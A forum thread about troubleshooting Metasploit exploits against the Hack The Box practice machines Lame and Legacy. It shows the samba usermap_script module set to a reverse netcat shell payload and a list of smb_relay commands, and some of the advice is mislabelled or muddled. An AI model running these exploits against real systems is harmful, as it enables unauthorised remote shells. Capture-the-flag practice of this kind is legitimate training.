

Forum:[Hack Forums](#)

Thread: [Not able to gain access to Lame & Legacy HTB](#)

Reaper Russian - July 18, 2020, 11:03 pm

Not able to gain access to Lame & Legacy (Hackthebox)

I have tried resetting HTB & tried using manual methods on both of the machines to no avail.

For legacy I tried to use the MS08-068 exploit. Lame I used samba/usermap_script.

Code msf5 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

Name	Current Setting	Required	Description
RHOSTS	10.10.10.3	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	139	yes	The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name	Current Setting	Required	Description
LHOST	192.168.157.129	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

msf5 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.157.129:4444

[*] Exploit completed, but no session was created.

msf5 exploit(multi/samba/usermap_script) >Thanks

frank3nstien - July 19, 2020, 1:09 am

I can see that you are trying to attack on Internal network, you better check first from your LHOST to RHOST is reachable or not.

Code Your LHOST 192.168.157.129 - Internal subnet

Your RHOSTS 10.10.10.3 - Internal subnet

You should have try this also for MS08-068 :

PHP Code

```
<?php
```

```
msf > use exploit/windows/smb/smb_relay
```

```
msf exploit(smb_relay) > show targets
```

```
msf exploit(smb_relay) > set TARGET < target-id >
```

```
msf exploit(smb_relay) > show options
```

```
msf exploit(smb_relay) > exploit
```

Reaper Russian - *July 19, 2020, 4:44 pm*

So it turned out my LHOST wasn't set to my tun0 that fixed the issue. Thanks!

oniono - *May 18, 2021, 9:10 am*

im stuck on a box in htb, if anyone can help me out plz message me on telegram @oniono12
thx